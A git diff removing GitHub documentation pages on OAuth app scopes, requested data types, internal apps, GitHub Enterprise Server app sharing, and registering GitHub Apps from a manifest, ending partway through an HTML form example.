address](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/verifying-your-email-address) before you can authorize an {% data variables.product.prodname_oauth_app %}. - -{% endif %} - -## {% data variables.product.prodname_oauth_app %} access - -{% data variables.product.prodname_oauth_apps %} can have _read_ or _write_ access to your {% data variables.product.github %} data. - -* **Read access** only allows an app to _look at_ your data. -* **Write access** allows an app to _change_ your data. - -> [!TIP] -> {% data reusables.user-settings.review_oauth_tokens_tip %} - -### About OAuth scopes - -_Scopes_ are named groups of permissions that an {% data variables.product.prodname_oauth_app %} can request to access both public and non-public data. - -When you want to use an {% data variables.product.prodname_oauth_app %} that integrates with {% data variables.product.github %}, that app lets you know what type of access to your data will be required. If you grant access to the app, then the app will be able to perform actions on your behalf, such as reading or modifying data. For example, if you want to use an app that requests `user:email` scope, the app will have read-only access to your private email addresses. For more information, see [AUTOTITLE](/apps/oauth-apps/building-oauth-apps/scopes-for-oauth-apps). - -> [!NOTE] -> Currently, you can't scope source code access to read-only. - -{% data reusables.user-settings.token_access_capabilities %} For example, an application can create an access token that is configured with an `admin:org` scope, but if the user of the application is not an organization owner, the application will not be granted administrative access to the organization. - -{% data reusables.apps.oauth-token-limit %} - -### Types of requested data - -{% data variables.product.prodname_oauth_apps %} can request several types of data. - -| Type of data | Description | -| --- | --- | -| Commit status | You can grant access for an app to report your commit status. Commit status access allows apps to determine if a build is a successful against a specific commit. Apps won't have access to your code, but they can read and write status information against a specific commit. | -| Deployments | Deployment status access allows apps to determine if a deployment is successful against a specific commit for public and private repositories. Apps won't have access to your code. | -| Gists | [Gist](https://gist.github.com) access allows apps to read or write to both your public and secret Gists. | -| Hooks | [Webhooks](/webhooks-and-events/webhooks/about-webhooks) access allows apps to read or write hook configurations on repositories you manage. | -| Notifications | Notification access allows apps to read your {% data variables.product.github %} notifications, such as comments on issues and pull requests. However, apps remain unable to access anything in your repositories. | -| Organizations and teams | Organization and teams access allows apps to access and manage organization and team membership. | -| Personal user data | User data includes information found in your user profile, like your name, e-mail address, and location. | -| Repositories | Repository information includes the names of contributors, the branches you've created, and the actual files within your repository. Apps can request access for either public or private repositories on a user-wide level. | -| Repository delete | Apps can request to delete repositories that you administer, but they won't have access to your code. | -| {% ifversion projects-oauth-scope %} | -| Projects | Access to user and organization {% data variables.projects.projects_v2 %}. Apps can request either read/write or read only access. | -| {% endif %} | - -## Requesting updated permissions - -When {% data variables.product.prodname_oauth_apps %} request new access permissions, they will notify you of the differences between their current permissions and the new permissions. - -{% ifversion fpt or ghec %} - -## {% data variables.product.prodname_oauth_apps %} and organizations - -When you authorize an {% data variables.product.prodname_oauth_app %} for your personal account, you'll also see how the authorization will affect each organization you're a member of. - -* **For organizations _with_ {% data variables.product.prodname_oauth_app %} access restrictions, you can request that organization owners approve the application for use in that organization.** If the organization does not approve the application, then the application will only be able to access the organization's public resources. If you're an organization owner, you can [approve the application](/organizations/managing-oauth-access-to-your-organizations-data/approving-oauth-apps-for-your-organization) yourself. - -* **For organizations _without_ {% data variables.product.prodname_oauth_app %} access restrictions, the application will automatically be authorized for access to that organization's resources.** For this reason, you should be careful about which {% data variables.product.prodname_oauth_apps %} you approve for access to your personal account resources as well as any organization resources. - -If you belong to any organizations with SAML single sign-on (SSO) enabled, and you have created a linked identity for that organization by authenticating via SAML in the past, you must have an active SAML session for each organization each time you authorize an {% data variables.product.prodname_oauth_app %}. - -> [!NOTE] -> If you're encountering issues with an authorized {% data variables.product.prodname_oauth_app %} or {% data variables.product.prodname_github_app %} accessing an organization that is protected by SAML, you may need to revoke the app from your [Authorized {% data variables.product.prodname_github_apps %}](https://github.com/settings/applications) or [Authorized {% data variables.product.prodname_oauth_apps %}](https://github.com/settings/apps/authorizations) page, visit the organization to authenticate and establish an active SAML session, and then attempt to reauthorize the app by accessing it. - -## Further reading - -* [AUTOTITLE](/organizations/managing-oauth-access-to-your-organizations-data/about-oauth-app-access-restrictions) -* [AUTOTITLE](/apps/using-github-apps/authorizing-github-apps) -* [AUTOTITLE](/support/learning-about-github-support/github-marketplace-support) - -{% endif %} diff --git a/content/apps/oauth-apps/using-oauth-apps/connecting-with-third-party-applications.md b/content/apps/oauth-apps/using-oauth-apps/connecting-with-third-party-applications.md deleted file mode 100644 index 3222c6953027..000000000000 --- a/content/apps/oauth-apps/using-oauth-apps/connecting-with-third-party-applications.md +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: Connecting with third-party applications -intro: 'You can connect your {% data variables.product.github %} identity to third-party applications using OAuth. When authorizing one of these applications, you should ensure you trust the application, review who it''s developed by, and review the kinds of information the application wants to access.' -redirect_from: - - /articles/connecting-with-third-party-applications - - /github/authenticating-to-github/connecting-with-third-party-applications - - /github/authenticating-to-github/keeping-your-account-and-data-secure/connecting-with-third-party-applications - - /authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications - - /apps/using-github-apps/connecting-with-third-party-applications -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Identity - - Access management -shortTitle: Third-party applications ---- -When a third-party application wants to identify you by your {% data variables.product.github %} login, you'll see a page with the developer contact information and a list of the specific data that's being requested. - -## Contacting the application developer - -Because an application is developed by a third-party who isn't {% data variables.product.company_short %}, we don't know exactly how an application uses the data it's requesting access to. If you have questions or concerns about an application, you should contact the application developer. To find contact information for an application, you can click the account name of the developer at the top of the app's authorization page. - -If the developer has chosen to supply further information, the right-hand side of the authorization page may also provide a detailed description of the application, as well as its associated website. - -## Types of application access and data - -Applications can have _read_ or _write_ access to your {% data variables.product.github %} data. - -* **Read access** only allows an application to _look at_ your data. -* **Write access** allows an application to _change_ your data. - -### About OAuth scopes - -_Scopes_ are named groups of permissions that an application can request to access both public and non-public data. - -When you want to use a third-party application that integrates with {% data variables.product.github %}, that application lets you know what type of access to your data will be required. If you grant access to the application, then the application will be able to perform actions on your behalf, such as reading or modifying data. For example, if you want to use an app that requests `user:email` scope, the app will have read-only access to your private email addresses. For more information, see [AUTOTITLE](/apps/oauth-apps/building-oauth-apps/scopes-for-oauth-apps). - -> [!NOTE] -> Currently, you can't scope source code access to read-only. - -> [!TIP] -> {% data reusables.user-settings.review_oauth_tokens_tip %} - -### Types of requested data - -There are several types of data that applications can request. - -| Type of data | Description | -| --- | --- | -| Commit status | You can grant access for a third-party application to report your commit status. Commit status access allows applications to determine if a build is a successful against a specific commit. Applications won't have access to your code, but they <em>can</em> read and write status information against a specific commit. | -| Deployments | Deployment status access allows applications to determine if a deployment is successful against a specific commit for a repository. Applications won't have access to your code. | -| Gists | [Gist](https://gist.github.com) access allows applications to read or write to both your public and secret Gists. | -| Hooks | [Webhooks](/webhooks-and-events/webhooks/about-webhooks) access allows applications to read or write hook configurations on repositories you manage. | -| Notifications | Notification access allows applications to read your {% data variables.product.github %} notifications, such as comments on issues and pull requests. However, applications remain unable to access anything in your repositories. | -| Organizations and teams | Organization and teams access allows apps to access and manage organization and team membership. | -| Personal user data | User data includes information found in your user profile, like your name, e-mail address, and location. | -| Repositories | Repository information includes the names of contributors, the branches you've created, and the actual files within your repository. An application can request access to all of your repositories of any visibility level. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility). | -| Repository delete | Applications can request to delete repositories that you administer, but they won't have access to your code. | diff --git a/content/apps/oauth-apps/using-oauth-apps/index.md b/content/apps/oauth-apps/using-oauth-apps/index.md deleted file mode 100644 index f28265384097..000000000000 --- a/content/apps/oauth-apps/using-oauth-apps/index.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Using OAuth apps -intro: 'You can authorize third-party {% data variables.product.prodname_oauth_apps %}, and review the {% data variables.product.prodname_oauth_apps %} you authorized.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - OAuth apps -children: - - /installing-an-oauth-app-in-your-personal-account - - /installing-an-oauth-app-in-your-organization - - /authorizing-oauth-apps - - /reviewing-your-authorized-oauth-apps - - /connecting-with-third-party-applications - - /internal-oauth-apps ---- - diff --git a/content/apps/oauth-apps/using-oauth-apps/installing-an-oauth-app-in-your-organization.md b/content/apps/oauth-apps/using-oauth-apps/installing-an-oauth-app-in-your-organization.md deleted file mode 100644 index 785697603870..000000000000 --- a/content/apps/oauth-apps/using-oauth-apps/installing-an-oauth-app-in-your-organization.md +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: Installing an OAuth app in your organization -intro: 'You can install {% data variables.product.prodname_oauth_apps %} from {% data variables.product.prodname_marketplace %} to use in your organization.' -versions: - fpt: '*' - ghec: '*' -shortTitle: Install app organization ---- - -## About installing {% data variables.product.prodname_oauth_apps %} in your organization - -{% data reusables.marketplace.marketplace-apps-only %} - -{% data reusables.marketplace.marketplace-org-perms %} - -If you choose a paid plan, you'll pay for your app subscription on your organization's current billing date using your organization's existing payment method. - -{% data reusables.marketplace.free-trials %} - -For more information about installing a {% data variables.product.prodname_github_app %}, see [AUTOTITLE](/apps/using-github-apps/installing-a-github-app-in-your-organization). - -## Installing an {% data variables.product.prodname_oauth_app %} in your organization - -{% data reusables.saml.saml-session-oauth %} - -{% data reusables.marketplace.visit-marketplace %} -{% data reusables.marketplace.browse-to-app %} -{% data reusables.marketplace.choose-plan %} -{% data reusables.marketplace.install-buy %} -{% data reusables.marketplace.confirm-install-account-org %} -{% data reusables.marketplace.add-payment-method-org %} -{% data reusables.marketplace.complete-order-begin-installation %} -1. Review the information about the app's access to your personal account, organizations, and data, then click **Authorize application**. - -## Further reading - -* [AUTOTITLE](/billing/managing-your-github-billing-settings/adding-or-editing-a-payment-method) -* [AUTOTITLE](/apps/oauth-apps/using-oauth-apps/installing-an-oauth-app-in-your-personal-account) diff --git a/content/apps/oauth-apps/using-oauth-apps/installing-an-oauth-app-in-your-personal-account.md b/content/apps/oauth-apps/using-oauth-apps/installing-an-oauth-app-in-your-personal-account.md deleted file mode 100644 index 4059a7c2d52e..000000000000 --- a/content/apps/oauth-apps/using-oauth-apps/installing-an-oauth-app-in-your-personal-account.md +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: Installing an OAuth app in your personal account -intro: 'You can install {% data variables.product.prodname_oauth_apps %} from {% data variables.product.prodname_marketplace %} to use in your personal account.' -versions: - fpt: '*' - ghec: '*' -shortTitle: Install app personal account ---- - -## About installing {% data variables.product.prodname_oauth_apps %} in your personal account - -{% data reusables.marketplace.marketplace-apps-only %} - -If you choose a paid plan, you'll pay for your app subscription on your personal account's current billing date using your existing payment method. - -{% data reusables.marketplace.free-trials %} - -For more information about installing a {% data variables.product.prodname_github_app %}, see [AUTOTITLE](/apps/using-github-apps/installing-a-github-app-in-your-personal-account). - -## Installing an {% data variables.product.prodname_oauth_app %} in your personal account - -{% data reusables.saml.saml-session-oauth %} - -{% data reusables.marketplace.visit-marketplace %} -{% data reusables.marketplace.browse-to-app %} -{% data reusables.marketplace.choose-plan %} -{% data reusables.marketplace.install-buy %} -{% data reusables.marketplace.confirm-install-account-personal %} -{% data reusables.marketplace.add-payment-method-personal %} -{% data reusables.marketplace.complete-order-begin-installation %} -1. Review the information about the app's access to your personal account and data, then click **Authorize application**. - -## Further reading - -* [AUTOTITLE](/billing/managing-your-github-billing-settings/adding-or-editing-a-payment-method) -* [AUTOTITLE](/apps/oauth-apps/using-oauth-apps/installing-an-oauth-app-in-your-organization) diff --git a/content/apps/oauth-apps/using-oauth-apps/internal-oauth-apps.md b/content/apps/oauth-apps/using-oauth-apps/internal-oauth-apps.md deleted file mode 100644 index f1fdae8e3b50..000000000000 --- a/content/apps/oauth-apps/using-oauth-apps/internal-oauth-apps.md +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: Internal OAuth apps -intro: 'Some {% data variables.product.prodname_oauth_apps %} are internal apps, owned by {% data variables.product.company_short %}, that are granted special capabilities.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Internal apps ---- - -Some {% data variables.product.prodname_oauth_apps %} are internal apps. These apps are owned by {% data variables.product.company_short %} and are granted special capabilities. For example, even if an organization owner has restricted access by {% data variables.product.prodname_oauth_apps %} to the organization's data, users can still authorize these apps and use them to access data from the organization. - -Some of these internal apps are automatically included with {% data variables.product.company_short %} and do not require user authorization. These apps will not appear in your list of authorized {% data variables.product.prodname_oauth_apps %}. - -These internal apps will appear in the user security log, but will not appear in organization{% ifversion ghes or ghec %} or enterprise{% endif %} audit logs. {% ifversion ghes or ghec %}For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log), [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization), and [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/about-the-audit-log-for-your-enterprise).{% else %}For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log) and [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization).{% endif %} - -These {% data variables.product.prodname_oauth_apps %} are : - -* Gist -* Git Credential Manager -* GitHub Android -* GitHub CLI -* GitHub Codespaces for JetBrains -* GitHub Desktop -* GitHub Education -* github-importer-production <!-- markdownlint-disable-line GHD034 --> -* GitHub iOS -* GitHub Support -* JetBrains IDE Integration -* Visual Studio -* Visual Studio Code diff --git a/content/apps/oauth-apps/using-oauth-apps/reviewing-your-authorized-oauth-apps.md b/content/apps/oauth-apps/using-oauth-apps/reviewing-your-authorized-oauth-apps.md deleted file mode 100644 index b109ca451914..000000000000 --- a/content/apps/oauth-apps/using-oauth-apps/reviewing-your-authorized-oauth-apps.md +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: Reviewing your authorized OAuth apps -intro: 'You should review your authorized applications to verify that no new applications with expansive permissions are authorized, such as those that have access to your private repositories.' -redirect_from: - - /articles/reviewing-your-authorized-applications-oauth - - /github/authenticating-to-github/reviewing-your-authorized-applications-oauth - - /github/authenticating-to-github/keeping-your-account-and-data-secure/reviewing-your-authorized-applications-oauth - - /authentication/keeping-your-account-and-data-secure/reviewing-your-authorized-applications-oauth - - /apps/oauth-apps/using-oauth-apps/reviewing-your-authorized-applications-oauth - - /apps/oauth-apps/using-oauth-apps/reviewing-your-authorized-oauth-applications -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Identity - - Access management -shortTitle: Review OAuth apps ---- -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.access_applications %} -{% data reusables.user-settings.access_authorized_oauth_apps %} -{% data reusables.user-settings.review-oauth-apps %} - -## Further reading - -{% ifversion fpt or ghec %} -* [AUTOTITLE](/get-started/exploring-integrations/about-integrations){% endif %} -* [AUTOTITLE](/apps/using-github-apps/reviewing-your-authorized-integrations) -* [AUTOTITLE](/apps/oauth-apps/using-oauth-apps/internal-oauth-apps) diff --git a/content/apps/overview.md b/content/apps/overview.md deleted file mode 100644 index c3e037d13b6b..000000000000 --- a/content/apps/overview.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: GitHub Apps overview -shortTitle: Overview -intro: 'You can use {% data variables.product.prodname_github_apps %} to extend the functionality of {% data variables.product.company_short %}.' -allowTitleToDifferFromFilename: true -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: overview -topics: - - GitHub Apps ---- - -## About {% data variables.product.prodname_github_apps %} - -{% data variables.product.prodname_github_apps %} are tools that extend {% data variables.product.company_short %}'s functionality. {% data variables.product.prodname_github_apps %} can do things on {% data variables.product.company_short %} like open issues, comment on pull requests, and manage projects. They can also do things outside of {% data variables.product.company_short %} based on events that happen on {% data variables.product.company_short %}. For example, a {% data variables.product.prodname_github_app %} can post on Slack when an issue is opened on {% data variables.product.company_short %}. - -For more information about using {% data variables.product.prodname_github_apps %}, see [AUTOTITLE](/apps/using-github-apps/about-using-github-apps). - -For more information about building {% data variables.product.prodname_github_apps %}, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/about-creating-github-apps). - -## {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %} - -{% data variables.product.company_short %} also supports {% data variables.product.prodname_oauth_apps %}. In general, {% data variables.product.prodname_github_apps %} are preferred over {% data variables.product.prodname_oauth_apps %}. {% data variables.product.prodname_github_apps %} use fine-grained permissions, give the user more control over which repositories the app can access, and use short-lived tokens. These properties can harden the security of the app by limiting the damage that could be done if the app's credentials were leaked. For more information, see [AUTOTITLE](/apps/oauth-apps/building-oauth-apps/differences-between-github-apps-and-oauth-apps). diff --git a/content/apps/sharing-github-apps/index.md b/content/apps/sharing-github-apps/index.md deleted file mode 100644 index a61642574a7b..000000000000 --- a/content/apps/sharing-github-apps/index.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: 'Sharing {% data variables.product.prodname_github_apps %}' -intro: 'After you create a public {% data variables.product.prodname_github_app %}, you can share your {% data variables.product.prodname_github_app %} with other {% data variables.product.company_short %} users.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub Apps -children: - - /sharing-your-github-app - - /making-your-github-app-available-for-github-enterprise-server - - /registering-a-github-app-from-a-manifest - - /registering-a-github-app-using-url-parameters ---- - diff --git a/content/apps/sharing-github-apps/making-your-github-app-available-for-github-enterprise-server.md b/content/apps/sharing-github-apps/making-your-github-app-available-for-github-enterprise-server.md deleted file mode 100644 index 4406910a9898..000000000000 --- a/content/apps/sharing-github-apps/making-your-github-app-available-for-github-enterprise-server.md +++ /dev/null @@ -1,91 +0,0 @@ ---- -title: Making your GitHub App available for GitHub Enterprise Server -shortTitle: Share with GHES -intro: 'In order for {% data variables.product.prodname_ghe_server %} instances to use your {% data variables.product.prodname_github_app %}, you must take some additional steps.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub Apps -redirect_from: - - /apps/creating-github-apps/setting-up-a-github-app/making-your-github-app-available-for-github-enterprise-server ---- - -## About developing {% data variables.product.prodname_github_apps %} for {% data variables.product.prodname_ghe_server %} - -If you want your {% data variables.product.prodname_github_app %} to be available to organizations in a {% data variables.product.prodname_ghe_server %} instance that you are not part of, you must take the following steps. - -{% ifversion ghes %} -These steps are not required if your {% data variables.product.prodname_github_app %} will only be used by organizations in a {% data variables.product.prodname_ghe_server %} instance that you are part of. For more information, see [AUTOTITLE](/apps/maintaining-github-apps/installing-your-own-github-app). -{% endif %} - -If {% data variables.product.prodname_ghe_server %} access is important, consider whether a custom action for {% data variables.product.prodname_actions %} will suit your needs instead. Public actions are available on {% data variables.product.prodname_ghe_server %} instances with {% data variables.product.prodname_github_connect %}. For more information, see {% ifversion ghes %}[AUTOTITLE](/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect).{% else %}[AUTOTITLE](/enterprise-server@latest/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect) in the {% data variables.product.prodname_ghe_server %} documentation.{% endif %} - -## Each {% data variables.product.prodname_ghe_server %} instance must register their own {% data variables.product.prodname_github_app %} - -Organizations owned by a {% data variables.product.prodname_ghe_server %} instance cannot install {% data variables.product.prodname_github_apps %} registered on {% data variables.product.prodname_dotcom_the_website %} or on another {% data variables.product.prodname_ghe_server %} instance. Instead, they must register and install their own {% data variables.product.prodname_github_app %} for use on that instance. - -1. The app developer creates a manifest or URL parameters. For more information, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/creating-a-github-app-from-a-manifest) and [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/creating-a-github-app-using-url-parameters). -1. The app developer shares the manifest or URL parameters with the {% data variables.product.prodname_ghe_server %} administrator that wants to use the app. The same manifest or URL parameters can be shared with multiple {% data variables.product.prodname_ghe_server %} instances. -1. An organization owner in the instance uses the manifest or URL parameters to register a {% data variables.product.prodname_github_app %}. -1. The organization installs the {% data variables.product.prodname_github_app %} that they registered. - - Optionally, if the organization made the {% data variables.product.prodname_github_app %} public, other organizations within the instance can install the {% data variables.product.prodname_github_app %} as well. There is not a way to install a {% data variables.product.prodname_github_app %} on an entire instance, only on organizations within an instance. - -## The app code must be able to access the {% data variables.product.prodname_github_app %} credentials for the instance - -Your app's code will need the credentials of the {% data variables.product.prodname_github_app %} that the {% data variables.product.prodname_ghe_server %} instance registered. It will also need the hostname of the instance. You have two options: get the credentials and hostname from the instance, or have the {% data variables.product.prodname_ghe_server %} customer host and manage a self-hostable version of the app. - -### Get the credentials from the {% data variables.product.prodname_ghe_server %} instance - -The instance can share their {% data variables.product.prodname_github_app %} credentials and hostname with the app developer. The site administrator should only do this if they trust the app developer. Then, the app code can use the appropriate credentials depending on what actions it is taking. The app developer must take precautions to use the appropriate set of credentials and to not leak data. - -Advantages: - -* The app developer controls the infrastructure that the app runs on. -* The app developer has more control over app updates. -* The app developer may have more insight into app performance. - -Disadvantages: - -* The app developer must take precautions to avoid leaking data from the instance. -* The site administrator may need to open firewall exceptions for your application to reach the instance, and they may be reluctant to do so. - -### Have the {% data variables.product.prodname_ghe_server %} customer host and manage a self-hostable version of the app - -The app developer can provide a self-hostable version of their app. Then, the site administrator can host the app according to app developer's setup and installation instructions. - -The method by which the self-hostable version of the app is created and shared is up to the app developer and depends on technology that the app uses. - -Advantages: - -* The instance remains more secure because they aren't sharing their app credentials. -* The app developer doesn't need to worry about leaking data from the instance. - -Disadvantages: - -* The app developer relies on the site administrator to provide infrastructure for the app and set things up correctly. -* Releasing updates to the app code may be more complex. -* The app developer may lose visibility about app performance. - -## The app code must use the correct URLs - -{% data variables.product.prodname_ghe_server %} uses different URLs than {% data variables.product.prodname_free_user %}, {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %}, and {% data variables.product.prodname_ghe_cloud %}. You should update your app code to use the appropriate URL depending on whether it is working with a {% data variables.product.prodname_ghe_server %} instance. Replace `HOSTNAME` with the hostname of the {% data variables.product.prodname_ghe_server %} instance. - -{% data variables.product.prodname_free_user %}<br>{% data variables.product.prodname_pro %}<br>{% data variables.product.prodname_team %}<br>{% data variables.product.prodname_ghe_cloud %} | {% data variables.product.prodname_ghe_server %} ---- | --- -`https://api.github.com` | `https://HOSTNAME/api/v3` -`https://api.github.com/graphql` | `https://HOSTNAME/api/v3/graphql` -`https://github.com/login/oauth/authorize` | `https://HOSTNAME/login/oauth/authorize` -`https://github.com/login/oauth/access_token` | `https://HOSTNAME/login/oauth/access_token` - -## The app code must be aware of feature differences - -New REST API endpoints, GraphQL objects, and webhooks are released to {% data variables.product.prodname_ghe_server %} at a later date than {% data variables.product.prodname_free_user %}, {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %}, and {% data variables.product.prodname_ghe_cloud %}. Additionally, there are multiple versions of {% data variables.product.prodname_ghe_server %}, and older versions may have different REST API endpoints, GraphQL objects, and webhooks. - -Therefore, the app code needs to be aware of these differences. API responses and webhook payloads include a `x-github-enterprise-version` header for {% data variables.product.prodname_ghe_server %} payloads to help you determine what version you are handling. - -## Each {% data variables.product.prodname_ghe_server %} instance can configure rate limits - -Each {% data variables.product.prodname_ghe_server %} instance can configure its own rate limits. If your app is hitting a rate limit and is already taking precautions to stay under the rate limit, you should talk to the admin of the {% data variables.product.prodname_ghe_server %} instance. diff --git a/content/apps/sharing-github-apps/registering-a-github-app-from-a-manifest.md b/content/apps/sharing-github-apps/registering-a-github-app-from-a-manifest.md deleted file mode 100644 index f145ec348652..000000000000 --- a/content/apps/sharing-github-apps/registering-a-github-app-from-a-manifest.md +++ /dev/null @@ -1,199 +0,0 @@ ---- -title: Registering a GitHub App from a manifest -intro: 'A {% data variables.product.prodname_github_app %} manifest is a way to share a preconfigured {% data variables.product.prodname_github_app %} registration with other users. The manifest flow allows someone to quickly register a {% data variables.product.prodname_github_app %}.' -redirect_from: - - /apps/building-github-apps/creating-github-apps-from-a-manifest - - /developers/apps/creating-a-github-app-from-a-manifest - - /developers/apps/building-github-apps/creating-a-github-app-from-a-manifest - - /apps/creating-github-apps/creating-github-apps/creating-a-github-app-from-a-manifest - - /apps/creating-github-apps/setting-up-a-github-app/creating-a-github-app-from-a-manifest - - /apps/sharing-github-apps/creating-a-github-app-from-a-manifest -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub Apps -shortTitle: App manifest ---- -## About {% data variables.product.prodname_github_app %} Manifests - -{% ifversion enterprise-apps-public-beta %} ->[!NOTE] {% data variables.product.prodname_github_app %} Manifests are not available for enterprise-owned {% data variables.product.prodname_github_apps %}. -{% endif %} - -When someone registers a {% data variables.product.prodname_github_app %} from a manifest, they only need to follow a URL and name the app. The manifest includes the permissions, events, and webhook URL needed to automatically register the app. The manifest flow creates the {% data variables.product.prodname_github_app %} registration and generates the app's webhook secret, private key (PEM file), client secret, and {% data variables.product.prodname_github_app %} ID. The person who creates the {% data variables.product.prodname_github_app %} registration from the manifest will own the {% data variables.product.prodname_github_app %} registration and can choose to edit the registration's settings, delete it, or transfer it to another person on {% data variables.product.prodname_dotcom %}. - -You can use [Probot](https://probot.github.io/) to get started with {% data variables.product.prodname_github_app %} Manifests or see an example implementation. See [Using Probot to implement the {% data variables.product.prodname_github_app %} Manifest flow](#using-probot-to-implement-the-github-app-manifest-flow) to learn more. - -Here are some scenarios where you might use {% data variables.product.prodname_github_app %} Manifests to register pre-configured apps: - -* Help new team members come up-to-speed quickly when developing {% data variables.product.prodname_github_apps %}. -* Allow others to extend a {% data variables.product.prodname_github_app %} using the {% data variables.product.prodname_dotcom %} APIs without requiring them to configure an app. -* Create {% data variables.product.prodname_github_app %} reference designs to share with the {% data variables.product.prodname_dotcom %} community. -* Ensure you deploy {% data variables.product.prodname_github_apps %} to development and production environments using the same configuration. -* Track revisions to a {% data variables.product.prodname_github_app %} configuration. - -## Implementing the {% data variables.product.prodname_github_app %} Manifest flow - -The {% data variables.product.prodname_github_app %} Manifest flow uses a handshaking process similar to the [OAuth flow](/apps/oauth-apps/building-oauth-apps/authorizing-oauth-apps). The flow uses a manifest to [register a {% data variables.product.prodname_github_app %}](/apps/creating-github-apps/setting-up-a-github-app/creating-a-github-app) and receives a temporary `code` used to retrieve the app's private key, webhook secret, and ID. - ->[!NOTE] You must complete all three steps in the {% data variables.product.prodname_github_app %} Manifest flow within one hour. - -Follow these steps to implement the {% data variables.product.prodname_github_app %} Manifest flow: - -1. You redirect people to {% data variables.product.prodname_dotcom %} to register a new {% data variables.product.prodname_github_app %}. -1. {% data variables.product.prodname_dotcom %} redirects people back to your site. -1. You exchange the temporary code to retrieve the app configuration. - -### 1. You redirect people to {% data variables.product.prodname_dotcom %} to register a new {% data variables.product.prodname_github_app %} - -To redirect people to register a new {% data variables.product.prodname_github_app %}, [provide a link](#examples) for them to click that sends a `POST` request to `https://github.com/settings/apps/new` for a personal account or `https://github.com/organizations/ORGANIZATION/settings/apps/new` for an organization account, replacing `ORGANIZATION` with the name of the organization account where the app will be registered. - -You must include the [{% data variables.product.prodname_github_app %} Manifest parameters](#github-app-manifest-parameters) as a JSON-encoded string in a parameter called `manifest`. You can also include a `state` [parameter](#parameters) for additional security. - -The person registering the app will be redirected to a {% data variables.product.prodname_dotcom %} page with an input field where they can edit the name of the app you included in the `manifest` parameter. If you do not include a `name` in the `manifest`, they can set their own name for the app in this field. - -#### {% data variables.product.prodname_github_app %} Manifest parameters - - Name | Type | Description ------|------|------------- -`name` | `string` | The name of the {% data variables.product.prodname_github_app %}. -`url` | `string` | **Required.** The homepage of your {% data variables.product.prodname_github_app %}. -`hook_attributes` | `object` | The configuration of the {% data variables.product.prodname_github_app %}'s webhook. -`redirect_url` | `string` | The full URL to redirect to after a user initiates the registration of a {% data variables.product.prodname_github_app %} from a manifest. -`callback_urls` | `array of strings` | A full URL to redirect to after someone authorizes an installation. You can provide up to 10 callback URLs. -`setup_url` | `string` | A full URL to redirect users to after they install your {% data variables.product.prodname_github_app %} if additional setup is required. -`description` | `string` | A description of the {% data variables.product.prodname_github_app %}. -`public` | `boolean` | Set to `true` when your {% data variables.product.prodname_github_app %} is available to the public or `false` when it is only accessible to the owner of the app. -`default_events` | `array` | The list of [events](/webhooks-and-events/webhooks/webhook-events-and-payloads) the {% data variables.product.prodname_github_app %} subscribes to. -`default_permissions` | `object` | The set of permissions needed by the {% data variables.product.prodname_github_app %}. The format of the object uses the permission name for the key (for example, `issues`) and the access type for the value (for example, `write`). For more information, see [AUTOTITLE](/apps/creating-github-apps/registering-a-github-app/choosing-permissions-for-a-github-app). -`request_oauth_on_install` | `boolean` | Set to `true` to request the user to authorize the {% data variables.product.prodname_github_app %}, after the {% data variables.product.prodname_github_app %} is installed. -`setup_on_update` | `boolean` | Set to `true` to redirect users to the `setup_url` after they update your {% data variables.product.prodname_github_app %} installation. - -The `hook_attributes` object has the following keys. - -Name | Type | Description ------|------|------------- -`url` | `string` | **Required.** The URL of the server that will receive the webhook `POST` requests. -`active` | `boolean` | Deliver event details when this hook is triggered, defaults to true. - -#### Parameters - - Name | Type | Description ------|------|------------- -`state`| `string` | {% data reusables.apps.state_description %} - -#### Examples - -This example uses a form on a web page with a button that triggers the `POST` request for a personal account: - -```html -<form action="https://github.com/settings/apps/new?state=abc123" method="post"> - Register a GitHub App Manifest: <input type="text" name="manifest" id="manifest"><br> - <input type="submit" value="Submit"> -</form> - -<script> - input = document.getElementById("manifest") - input.value = JSON.stringify({ - "name": "Octoapp", - "url": "https://www.example.com", - "hook_attributes": { - "url": "https://example.com/github/events", - }, - "redirect_url": "https://example.com/redirect", - "callback_urls": [ - "https://example.com/callback" - ], - "public": true, - "default_permissions": { - "issues": "write", - "checks": "write" - }, - "default_events": [ - "issues", - "issue_comment", - "check_suite", - "check_run" - ] - }) -</script> -``` - -This example uses a form on a web page with a button that triggers the `POST` request for an organization account. Replace `ORGANIZATION` with the name of the organization account where you want to register the app. - -```html 